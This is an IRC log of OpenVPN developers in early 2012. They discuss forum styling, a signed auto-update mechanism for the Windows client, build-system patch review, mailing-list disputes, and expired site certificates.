raidz 11:08 <@raidz> around ecrist? 11:11 -!- swg0101_away is now known as swg0101 11:59 < ecrist> raidz: yeah 12:02 <@raidz> so how does vbulletin look? 12:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:26 * ecrist looks 12:27 < ecrist> I like it. A couple minor nits I'd change, but I think the brunt of things is done. 12:28 < ecrist> krzee: you still around? 12:28 <+krzee> ya just for a min tho 12:28 < ecrist> raidz: I need to check and see how he went about it, if he changed files, or if he actually templated things right 12:28 < ecrist> http://forums.openvpn.net/vb4_test/forumdisplay.php?2-Main-Forum 12:28 <@vpnHelper> Title: Main Forum (at forums.openvpn.net) 12:28 < ecrist> krzee: see that link 12:29 < ecrist> colors/basic style look OK to you? 12:29 < ecrist> http://forums.openvpn.net/vb4_test/showthread.php?1-testing-1-2-3 12:29 <@vpnHelper> Title: testing 1 2 3 (at forums.openvpn.net) 12:29 < ecrist> maybe that's better 12:29 <+krzee> looks decent to me 12:30 <+krzee> and if the links from the bot stop killing my login, i no longer care *how* it looks 12:30 <+krzee> hehehe 12:30 < ecrist> krzee: that's the plan! 12:30 <+krzee> o/ 12:30 <+krzee> looks beautiful!@ 12:30 <+krzee> ;] 12:31 < ecrist> lol 12:31 <+krzee> nah but really, not bad 12:32 < ecrist> raidz: it looks like he did it right, I'll know later this week when I blow everything away and start from scratch if his template installs cleanly. 12:32 < ecrist> :) 12:32 < ecrist> I'll let you know then. 12:32 < ecrist> at this point, looks good. 12:33 < ecrist> krzee: how about this: http://forums.openvpn.net/vb4_test/forum.php?styleid=7 12:33 <@vpnHelper> Title: OpenVPN Forum (at forums.openvpn.net) 12:34 <+krzee> looks same to me 12:34 < ecrist> with orange title bars? 12:36 < ecrist> https://skitch.com/ecrist/8f1q2/screen-shot-2012-02-28-at-12.35.33 12:36 <@vpnHelper> Title: ecrist | skitch.com (at skitch.com) 12:36 < ecrist> that's what I was going for, looks like I need to log in to see it 12:36 < ecrist> you like that screen shot better, or the all light-blue design? 12:36 <+krzee> not sure what a title bar is, but i just clicked between the 3 and cant find the difference... lol 12:36 <+krzee> ahh 12:36 <+krzee> the blue 12:36 <+krzee> much much much better 12:37 <+krzee> be back in a bit, massage time 12:42 -!- raidz is now known as raidz_afk 13:06 -!- raidz_afk is now known as raidz 13:08 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 13:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:28 -!- dazo is now known as dazo_afk 14:48 -!- swg0101 is now known as swg0101_away 15:16 -!- Netsplit *.net <-> *.split quits: @d12fk, jamxNL, @dazo_afk, waldner, @andj, swg0101_away 15:18 -!- Netsplit over, joins: jamxNL, swg0101_away, @andj, waldner, @dazo_afk, @d12fk 15:21 -!- swg0101_away is now known as swg0101 15:37 <@raidz> ecrist: sounds good. Let me know if you need him to make any changes 17:11 <@vpnHelper> RSS Update - tickets: #196: National characters in the connection name and tun-ipv6 <https://community.openvpn.net/openvpn/ticket/196> || #195: National characters in the connection name and tun-ipv6 <https://community.openvpn.net/openvpn/ticket/195> 18:03 -!- swg0101 [~swg0101@openvpn/user/swg0101] has left #openvpn-devel [] 19:08 -!- raidz is now known as raidz_afk --- Day changed Wed Feb 29 2012 01:07 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 01:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:13 <@mattock> ok, let's see if the dust has settled 02:40 -!- dazo_afk is now known as dazo 03:00 <@dazo> mattock: you actually come with a good idea for the Windows world ... maybe something which could be somehow integrated with the Windows GUI ... a version checker (disabled by default, but can be asked if user wants to enable this during installation - with on/off switch in GUI too, of course) ... The GUI checks upon startup and/or once a day (interval configurable?) for a newer version and provide a simple "upgrade me"-button 03:02 <@dazo> But when enabling such a feature, the user should be warned that this will reveal that this person is running OpenVPN - and it will be logged in server logs 03:03 <@dazo> (esp. important for corporate environments, where upgrades are handled centrally - and for users who really don't want to pop up on government radars; which might track users inside the country) 03:03 <@dazo> d12fk ^^^ what do you think? 03:04 <@dazo> mattock: a side note ... if you want to save some time, look at those answers I've already provided ;-) 03:05 <@mattock> dazo: yep 03:05 <@mattock> interesting discussions on the ml again :) 03:05 <@dazo> yeah, something is happening here again ... 03:05 <@mattock> it's been, wait... almost a day since the last big discussion :) 03:05 <@dazo> btw ... alon things he is done .... so lets try to do some real spins 03:06 <@dazo> :) 03:06 <@d12fk> dazo: that will only work fpr private users that are admin on the machine and will break most corporate envs 03:06 <@d12fk> i thin something triggered by the server the client is connecting to would be beneficial 03:06 <@dazo> d12fk: yeah, which is why I'm inclining on disabled by default .... maybe even a register setting which hides this feature from the UI? 03:07 <@dazo> (the register setting, esp. aimed at corps) 03:07 * dazo realised 'corps' can mean something else than a nasty abbreviation for 'corporates' 03:08 <@d12fk> same semantics =) 03:08 <@mattock> corps(es)? 03:08 <@dazo> :) 03:09 <@d12fk> i still dont think that a user triggered update will work for many ppl. 03:09 <@d12fk> what the rationale behind the idea? make ppl update more frqtly? 03:10 <@dazo> d12fk: maybe something which the "interactive service" could tackle? 03:10 <@dazo> d12fk: yeah 03:10 <@dazo> there are still people using 2.0.6 .... and complaining about things which doesn't work 03:11 <@dazo> (even though, less in the Windows world than what it used to be) 03:11 <@dazo> And maybe such an option should allow to set if only minor updates should be done, or even major updates ... or rather just do minor updates 03:12 <@dazo> anyhow ... I'm just kicking out an idea for discussion ... I don't have any strong opinions either way 03:12 <@d12fk> i had the idea to make the gui recognize a pushed version, compare its own and download/install automatically if configured 03:12 <@d12fk> that will solve the traveling salesman is never available for upgrade problem 03:13 <@dazo> hmmm ... that's an interesting approach, which definitely is much more enterprise friendly 03:13 <@d12fk> however the info would come from the server 03:13 <@dazo> (enterprises - where there is an IT department taking care of such things) 03:14 <@d12fk> so the admin would be responsible is the upgrade breaks connectivity 03:14 <@d12fk> otherwise we'dtake the blame 03:15 <@dazo> For SMBs ... which hire a guy to setup VPN for them, and then the guy leaves, this wouldn't solve much .... but if the GUI could be configured to do automatic minor upgrades, these SMBs might like that better 03:15 <@dazo> For enterprises, such automatic minor upgrades are not much liked ... as they want to test everything before pushing stuff to their users 03:15 <@d12fk> i wonder if you need/want upgrades on the client without upgrading the server along 03:15 <@d12fk> there will be incpatibilities 03:16 <@dazo> well, that is already enabled on Scientific Linux (automatic upgrades) as default ... and can be enabled easily on other RHEL based platforms too 03:17 <@dazo> in fact, OpenVPN 2.3-alpha1 got automatically upgraded on two of my private boxes when mattock updated the snapshot repos 03:18 <@d12fk> oh 03:18 <@dazo> in most cases, minor updates should not introduce new features or stuff which breaks current configurations (unless really needed due to security issues) ... only bug/sec fixes in minor upgrades 03:19 <@d12fk> but what does it help if ppl are stuck with 2.2.2 then? 03:19 <@d12fk> 2.3 is a major upgrade 03:19 <@dazo> yeah, major upgrades needs to be take care of much more carefully - due to new features, feature changes, etc 03:22 <@dazo> Compare to SL again ... if you don't install the sl6x repo, it will only upgrade packages autoatically within the same distro release (6.1, 6.2, etc) ... but with the sl6x repo, it will also automatically upgrade from 6.1 -> 6.2 -> 6.3 when that move happens .... but it's an alternative you're given 03:22 * dazo needs a better keyboard ..... 03:23 <@dazo> I think that 2.2 didn't need that much bugfixes, as it is mostly 2.1 - with a lot of bugfixes and a few extra, but safe, features .... while 2.3 will really be a major update 03:24 <@dazo> so I expect we're going to have far more minor releases in 2.3 than 2.2 03:24 <@d12fk> ok, but how would the service check for authenticity 03:24 <@dazo> agreed 03:25 <@d12fk> https is kinda weak 03:25 <@d12fk> at least with public oki and auto software deployment 03:25 <@d12fk> oki->pki 03:25 <@dazo> indeed, esp. if some countries do MITM stuff .... so PGP signature checking, against hard coded signing keys IDs in the installed app 03:26 * d12fk needs coffee 03:26 <@d12fk> there we have a gnupg dependecy 03:26 <@dazo> (I've actually experienced that the free Internet on a boat between Oslo->Kiel did the MITM on SSL traffic ... Thunderbird screamed about the IMAP server had changed certificate) 03:26 <@d12fk> it windows land where such stuff isnt available generally 03:27 <@d12fk> between oslo and kiel is where the pirates are located 03:27 <@dazo> isn't there some kind of libraries we could just include? Otherwise gpg4win is pretty good - but a big package 03:27 <@d12fk> störtebeker 03:27 <@dazo> :) 03:28 <@d12fk> i bet there is pgp libs for windows, but is a big dependency for a small use case 03:28 <@dazo> Well, on that boat ... OpenVPN "saved" me :) It was only wired internet, I set up my laptop with --redirect-gateway and setup my laptop as a ad-hoc hotspot for my phone and my wife ... worked like a charm :) 03:28 <@d12fk> youre such a geek =) 03:29 <@dazo> I know =) 03:29 <@d12fk> maybe "manually" checking the sig would be an option 03:30 <@d12fk> what is it, hash over the binary and rsa over tha hash with some padding probably 03:31 <@dazo> yeah, or a weaker way of check, using just sha ... pulled from a couple of hosts, check if they're identical ... then check the downloaded file 03:31 <@d12fk> if we don't use something fancy for pkey sig a std ossl will do 03:31 <@dazo> yeah true 03:32 <@dazo> hey wait .... pgp is just PKI stuff .... openssl is certs + keys, which is also PKI ... and openssl can do signing and verification too 03:32 <@d12fk> i'm talking libcrypto not libssl 03:33 <@dazo> ahh, well, but openssl is still completely available if you first have openvpn installed ... 03:33 <@d12fk> right 03:33 <@dazo> if we add the a "next update certificate" in when installing openvpn .... you pull down the .exe with the upgrade.sig ... and the local update process can validate that signature using the already known certificate 03:34 <@dazo> the new updated openvpn will have a new update certificate, so it will be more difficult for a MITM attack 03:34 <@dazo> (new update certificate - for the next update) 03:35 <@d12fk> but then you'd have to dl all intermediate versions 03:35 <@dazo> ahh, true 03:35 <@d12fk> a general sig rsa key will do 03:36 <@d12fk> just make sure the priv key doesn't end up on the webserver =) 03:36 <@dazo> yeah, that's at least far easier 03:36 <@dazo> :) 03:37 * dazo feels weird ... he feels like he wants to read about openssl APIs again .... 03:38 <@d12fk> rsa and hmac with bio are actually not that brainnumbing 03:39 <@dazo> the trouble with the openssl docs, how I've found it earlier, is to find the right place in the docs to start looking ... if you find that, it's quite okay documented .... but if you don't find the "entrance point", you're easily lost 03:40 <@dazo> http://www.madboa.com/geek/openssl/#digest-sign 03:40 <@vpnHelper> Title: OpenSSL Command-Line HOWTO (at www.madboa.com) 03:41 <@dazo> http://old.nabble.com/RSA_sign-RSA_verify-td20571541.html 03:41 <@vpnHelper> Title: Old Nabble - OpenSSL - User - RSA_sign RSA_verify (at old.nabble.com) 03:44 <@d12fk> being so far, i wont have time to implement it any time soon 03:44 <@dazo> no worries :) I think this idea still need to mature a bit more :) 03:44 <@d12fk> --priv-chan, winhttp, compat patches and pkcs11 support are in front 03:45 <@dazo> ack! And that's the correct priorities, in openvpn perspective 03:49 <@mattock> dazo, cron2: fixed the "buildslaves always fail when building master without build flags" issue 03:49 <@dazo> mattock: thx! 03:49 <@mattock> make check is disabled until I have time to fix it 03:50 <@mattock> dazo: any idea if I should postpone that one until Alon's work is merged? 03:50 <@mattock> i.e. does Alon's work affect *NIX building significantly? 03:50 -!- trispace [~rf@bec.fw.firewall.at] has joined #openvpn-devel 03:51 <@dazo> mattock: his work affects everything which is build related ... so I'd say don't fix anything yet ... I'm putting efforts into reviewing his stuff first and foremost 03:51 <@mattock> ok, good 03:52 <@dazo> but if you can really beat his new build system as much as you can, with different options and all kind of (not too) crazy things .... esp. the MSVS stuff, that'd be great 03:52 <@dazo> and if d12fk would have time to try cross-compiling .... that'd be also great 03:53 <@dazo> (or did d12fk use native Windows with mingw? ... anyway, that needs to be tested too) 03:53 <@mattock> I'll have to clone Alon's latest code and rerun my tests (msvc native build, crosscompile linux -> win, tap-driver, etc.) 03:54 <@dazo> yeah, absolutely everything needs to be tested ... and see if the installer makes sense afterwards 04:20 <@cron2> oh my, you've been busy again this morning 04:23 <@cron2> mattock: what was wrong with the buildslaves? 04:25 <@cron2> dazo, d12fk: I think server-pushed upgrades might make sense, if at all - that is maintained by the VPN maintainer, the client already authenticates "is this server having a proper certificate?", etc. 04:25 <@dazo> cron2: agreed, but as I say, this is in the typical 'enterprise' environments, where there are people assigned to do such tasks 04:26 <@cron2> so the server could push something like "<os> <version> <URL>" ("win32 2.3.17 http://server-ip-in-vpn/openvpn-installer-2.3.17.exe") 04:26 <@dazo> but for SMBs, who depends on hired consultants for IT tasks, this won't scale at all 04:26 <@cron2> dazo: yes. But doing anything else, outside distributions or managed VPN solutions, we're not going to scale this either 04:27 <@cron2> if we had 20 extra volunteers that thoroughly test all the possible upgrade combinations every time, it might work, but as it is, we're just not enough 04:28 <@cron2> but having it in enterprise environment would actually be a seriously cool feature - both for AS, as for Astaro, etc. 04:28 <@dazo> but for minor upgrades, we shouldn't break anything .... I'm primarily focused on minor upgrades 04:28 <@dazo> major upgrades should be done manually 04:29 <@cron2> some day, even a minor upgrade will break on "Windows 14 with SP4 installed" due to intermediate changes on the build machine, etc... 04:29 * cron2 is not as optimistic as dazo here 04:29 <@dazo> :) 04:30 <@dazo> but then, if that happens ... and we get that feedback ... we can easily put out a downgrade request ... or ship a fixed updated 04:31 <@cron2> I'm not saying it cannot be done - but we'd need 5 mattock clones to handle the extra effort and testing 04:31 * dazo wants to be that cheeky, we wants to have more indirect testers - the SMB users without IT people taking care of them 04:31 <@dazo> but enabled explicit by people who sets it up ... so they know what's at stake 04:31 <@dazo> (and I would really use that feature in my setups with some SMBs) 04:32 <@cron2> dazo: in that scenario, the server isn't maintained by you? 04:32 <@dazo> it's automatically upgraded as well 04:32 <@dazo> in fact, that's the only thing which is automatically updated 04:32 <@dazo> (now, I'd like the clients too) 04:33 <@cron2> but it's upgraded by the distribution auto-update thingy, and otherwise not really maintained, right? 04:33 <@cron2> (the VPNs I maintain are more actively maintained, read: I could put a client update on the server and get it pushed) 04:34 <@cron2> well, maybe we want both :-) - update from a central location (https://community.../, with a strictly-checked CA), and server-pushed updates 04:34 <@dazo> that' 04:34 <@dazo> that's correct ... it's auto-update by distro 04:35 <@dazo> I've been poking a little bit on the RSA signing OpenSSL provides ... and that looks promising 04:37 <@dazo> http://www.fpaste.org/Yo26/ ... that's the "command line" way .... hacking it up in C now, to test that too 04:44 <@dazo> (that was fairly simple too) 04:47 <@dazo> sign: http://www.fpaste.org/QOoQ/ ... verify: http://www.fpaste.org/7bTi/ 05:17 <@d12fk> sorry for the ad on the list 05:18 <@d12fk> just dont like ppl which brag with outdated knowledge 05:24 <@dazo> no worries, that was appropriate ... and it really gives the new GUI a more solid reference - it is really being used in real life 06:28 <@mattock> cron2: nothing's wrong with the buildslave 06:29 <@mattock> in fact, I removed the "make check" stuff from buildmaster so that we don't get a flood of false positives due to (partially unimplemented) 06:29 <@mattock> connectivity tests 06:29 <@mattock> unless you found something else :) 06:52 <@cron2> d12fk: perfectly fine. After all, you *do* all the work, and we all benefit :-) 06:52 <@cron2> mattock: no, I was wondering what the problem was since I didn't see any failure mails recently 06:52 <@d12fk> all but alon, he suffers =) 06:52 <@cron2> (but maybe *that* is broken?) 06:58 <@dazo> d12fk: let Alon be Alon ... we know who he is ... the problem is that Alon is not here on this channel, where we do take some quick decisions, and in the IRC meetings as well ... Rather focus on the current deliverables than to convince him, as that's not possible 06:59 <@dazo> then it might be possible later on to improve things even more, maybe simplify what's needed to be simplified 06:59 <@dazo> and maybe that's a process Alon will more happily join ... which will be much more fruitful 07:00 <@d12fk> i'll tease hin in here, hang on 07:01 <@dazo> unfortunately, it's only a few of us in the whole ML+IRC community who got the complete overall picture of things .... and that's an area we should improve on 07:01 <@d12fk> james is (and was always) missing for that 07:01 <@dazo> maybe have a wiki page describing these things better in detail, and open up for discussion .... however, it probably won't cause much more discussions ... but at least then, we can point at possibilties to discuss it 07:02 <@dazo> to be very honest, I don't rely much on James any more ... we're setting the course with 2.3 ... and James is hanging on along ... and I hope that mattock is able to hold us back when that's really needed 07:04 <@mattock> I'll try to bring James to 2.3 kicking and and screaming :D 07:04 <@dazo> :) 07:05 <@mattock> he's always swamped, and I don't see that changing soon 07:06 <@dazo> exactly, and that's why I'm saying what I'm saying :) If we rely too much on him, we'll have the first 2.3-RC release in 3 years 07:07 * d12fk getting into an bare knuckle fight with alon =) 07:07 <@d12fk> lets see if he bites 07:08 <@dazo> oh oh oh oh ..... that's daring ... 07:09 <@cron2> d12fk: leaning back, getting popcorn... :-) 07:09 * dazo joins cron2 07:10 <@cron2> (I think we never told the *list* that you presented the new openvpn service idea here in IRC and in Brussels, and that chief dazo liked it) 07:10 <@cron2> "he who has git commit access rules" 07:10 <@d12fk> and james acked it during a meeting 07:10 <@cron2> oh? now that's even better! 07:11 <@dazo> I mentioned it in that mail thread already ... said something that I was impressed on how it worked 07:11 <@dazo> (as I'm no Windows developer, I can't say much about the Windows code itself ... but I see the functionality and that it works - that's far better than complaining that it's done wrong) 07:13 <@dazo> d12fk: if you want a power punch (which I guess you'll need if Alon replies) ... I'd pull up the meeting minutes where James gave his ack to that .... as those minutes are publicly available, also outside the IRC 07:13 <@d12fk> yeah, he hopefully figures that out by himself 07:14 * dazo wouldn't count on it :) 07:14 <@cron2> "IRC is evil waste of time!" 07:15 <@dazo> cron2 made me double check the mailing list for replies from Alon now ... 07:16 <@cron2> not yet, but I expect something like that, or "I have no time for IRC, I am spending my time on code! Or is this all wasted now?" 07:16 * cron2 stops making nasty remarks now, and goes back to work 07:16 <@dazo> :) 07:16 <@d12fk> no he wants design documents =) 07:26 <@d12fk> fire in the hole 07:27 <@d12fk> i dont get any work done with this constant mailing =) 07:32 <@dazo> good point regarding the build system ;-) 07:36 <@d12fk> i think this is a case of the "not invented here" syndrome 07:37 <@dazo> yeah 07:56 <@mattock> I just closed my email client so that I don't get distracted (again)... thanks for the warning :) 08:45 -!- trispace [~rf@bec.fw.firewall.at] has quit [Quit: trispace] 11:00 <@andj> Wow, things have livened up recently :) 11:01 <@andj> Remember how we promised Paul (of PolarSSL fame) that the mailing list was "really quiet" :) 11:02 <@dazo> hahahahaha 11:02 <@dazo> he probably regrets big time now :) 11:02 <@cron2> that's just because blowfish is not yet done! 11:02 <@cron2> traffic levels will increase every day now!! 11:03 <@andj> I spoke to him today: "No really, it's usually really quiet" 11:04 <+krzee> lol 11:05 <@dazo> http://dir.gmane.org/gmane.network.openvpn.devel 11:05 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at dir.gmane.org) 11:05 <@dazo> andj: not sure that link will calm him down, or make him even more worried :) 11:06 <@andj> hehe, I think he understands it's a fluke 11:06 <@dazo> :) 11:06 <@andj> I'm wondering how best to approach reviewing Alon's build system 11:07 -!- raidz_afk is now known as raidz 11:08 <@dazo> yeah, it's surely more convenient to do that via web .... however, we need to then do sprints without alon in IRC meetings (so that we have some documentation of what we decided - there's no guarantee that alons github tree will be available indefinitely) ... which is counter productive .... I'm really leaning towards mails 11:09 <@dazo> (I mean, if the Linux kernel people can manage that .... why shouldn't we?) 11:09 <@dazo> they don't have the explicit ACK "rule" which we try to follow though, except of that 11:11 <@andj> yeah, it should be ok via mail 11:11 <@andj> as long as it isn't 50+ patches 11:11 * dazo checks 11:11 <@dazo> it's 52 patches :) 11:12 <@andj> As long as it's around 50 patches... 11:12 <@andj> :) 11:12 <@d12fk> cron2: i didn't get your reply to the thread, just see fabians to yours 11:12 <@dazo> I'll tell Alon push them to the mailing list then ... and it'll just make Paul happy too, so it gotta be a win-win :) 11:13 <@d12fk> this has hapened twice now... 11:13 <@andj> :) 11:13 <@dazo> actually, we already have 30+ in the ML 11:15 <@andj> yeah, true 11:24 <+krzee> [12:11] <andj> as long as it isn't 50+ patches 11:24 <+krzee> [12:11] * dazo checks 11:24 <+krzee> [12:12] <dazo> it's 52 patches :) 11:24 <+krzee> [12:12] <andj> As long as it's around 50 patches... 11:24 <+krzee> hahahaha 11:27 <@cron2> d12fk: maybe it's delayed due to greylisting somewhere 11:29 <@dazo> andj: you had a comment to one of alons patches, which you almost nacked ... ([PATCH 33/35] build: proper crypto detection and usage) ... what do you think about it now, with the complete changeset ready? 11:30 <@dazo> alon's git tree, btw: git://github.com/alonbl/openvpn.git 12:18 -!- dazo is now known as dazo_afk 13:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:42 <@andj> dazo: let me try to remember what that was :) 13:43 <@andj> ah, right, it was 0.9.6 of OpenSSL 13:44 <@andj> dazo: these checks were my problem:  [libcrypto >= 0.9.6], 13:47 <@andj> Those should be migrated to 0.9.8, for the new policy 15:32 <@cron2> it's really amazing. As soon as someone steps up and proposes to do actual work, $lots of people creep up and dismiss the work as "this is all rubbish". But otherwise, none of these people ever show up to *do* the work... 16:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 19:06 -!- raidz is now known as raidz_afk 20:29 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] --- Day changed Thu Mar 01 2012 00:32 <@andj> cron2: that's partially due to Alon's attitude, and partially due to human nature I'm afraid --- Log closed Thu Mar 01 02:28:56 2012 --- Log opened Thu Mar 01 08:21:47 2012 08:21 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:21 -!- Irssi: #openvpn-devel: Total of 12 nicks [7 ops, 0 halfops, 0 voices, 5 normal] 08:21 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 09:51 -!- Intensity [zQBDL3Up0A@unaffiliated/intensity] has joined #openvpn-devel 10:39 <@andj> I've given up on the discussion on the ML... Could someone give me a summary when it's over? :) 10:46 <@dazo> :) 10:46 <@dazo> andj: not much to see, tbh 10:48 <@dazo> andj: reviewing those three new mail threads with patches from alon is all I care about now 11:08 -!- raidz_afk is now known as raidz 11:21 -!- dazo is now known as dazo_afk 11:36 <@cron2> andj: they're bikeshed'ing 11:39 <@andj> yeah, those are quite massive 12:34 <@mattock> I'll delve in, again... 12:38 <@mattock> oh, the storm is over 12:38 <@mattock> andj: let me summarize... 12:40 <@mattock> alon disagrees with d12fk on proper way to handle the Windows privilege separation/service thingy 12:40 <@mattock> alon has his own proposal (which I think should be looked at) 12:42 <@mattock> alon had some very good points about the importance of discussing big changes (like d12fk's work) on the mailing list as soon as possible (and I agree) 12:43 <@mattock> that said, alon's got a fairly purist view of things, i.e. he's not a pragmatist, as his IRC summary complaints show (even though it's valid to some extent) 12:43 <@mattock> what I think we need to do is avoid this: http://communitymgt.wikia.com/wiki/Water_cooler 12:43 <@vpnHelper> Title: Water cooler - Community Management Wiki (at communitymgt.wikia.com) 12:45 <@mattock> so, I suggest we put all big plans to the test on the mailing list... if people starts bikeshedding (nice term, btw), they can be ignored 12:46 <@mattock> unless they're willing to implement something that fixes their complaints theirselves 12:46 <@mattock> I think that's about it :) 13:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 14:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:09 * cron2 strongly disagrees with letting people that do not contribute code dictate the way the project is organized 14:09 <@cron2> (code or other contributions) 14:10 <@cron2> this Carsten Krüger has not sent in a single line of code, but thinks he can tell us how we organize our work 14:13 <@cron2> ... and if everything I want to code needs to go through a bikeshed tour, I'm out 14:19 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 14:35 < ecrist> cron2: glad you clarified, I was about to resign. 14:36 <@cron2> ecist: sorry if I was unclear, I was explicitely not targeting *you* - you contribute a lot, if no code 14:36 <@cron2> (as does mattock) 14:37 < ecrist> that was said with tongue in cheek. :) 14:37 < ecrist> with regard to the bike-shed comment, ignore those fuckers 17:15 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 18:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:06 -!- raidz is now known as raidz_afk 20:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Fri Mar 02 2012 01:13 <@andj> mattock: thanks for the summary :) 07:15 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 07:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:17 -!- raidz_afk is now known as raidz 13:17 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 13:31 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 14:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:47 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 15:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:11 -!- raidz is now known as raidz_afk --- Day changed Sat Mar 03 2012 05:08 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 06:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 10:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:06 <@vpnHelper> RSS Update - wishlist: win32 tap driver - 100mbps connection speed <http://forums.openvpn.net/topic9983.html> 17:01 <+krzee> haha, he has a point 17:01 <+krzee> hell, you could even call it gigabit 17:02 <+krzee> (the above forum post) 19:08 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 19:12 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:12 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:17 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 19:46 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] --- Day changed Sun Mar 04 2012 01:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:31 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 11:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 11:37 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:02 < uuuppz> bah wheres dazo when u need him! 15:20 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 15:49 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:30 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] --- Day changed Mon Mar 05 2012 03:15 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:17 <+janjust> morning all 03:18 <+janjust> the certificate for https://forums.openvpn.net has expired 03:18 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Support Forum (at forums.openvpn.net) 03:32 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 03:39 -!- dazol [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:39 -!- mode/#openvpn-devel [+o dazol] by ChanServ 03:39 -!- dazol is now known as dazo 03:59 <@mattock> if you haven't noticed already, the SSL certs on forums and community have expired 03:59 <@mattock> will be fixed soon 06:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 11:25 -!- raidz_afk is now known as raidz 11:28 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 11:30 <@raidz> hey guys working on the certs, they should have renewed 11:30 <@raidz> godaddy is being a pita, on the phone 11:31 < SviMik> I think I have found a bug... 11:32 < SviMik> when I use non-root user (for example, user www-data;group www-data; in config file), but start from root, it creates ifconfig-pool-persist, status and log files as root with chmod 600, then changes process to non-root, and can't write to these files 11:32 <@raidz> ecrist around? 11:33 <@raidz> looks like it did renew but we need to rekey the server 11:34 <@raidz> so when you are around please ping me 11:39 < ecrist> I am 11:40 <@raidz> ok pm 15:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:03 -!- dazo is now known as dazo_afk 15:11 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Read error: Connection reset by peer] 19:08 -!- raidz is now known as raidz_afk 20:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 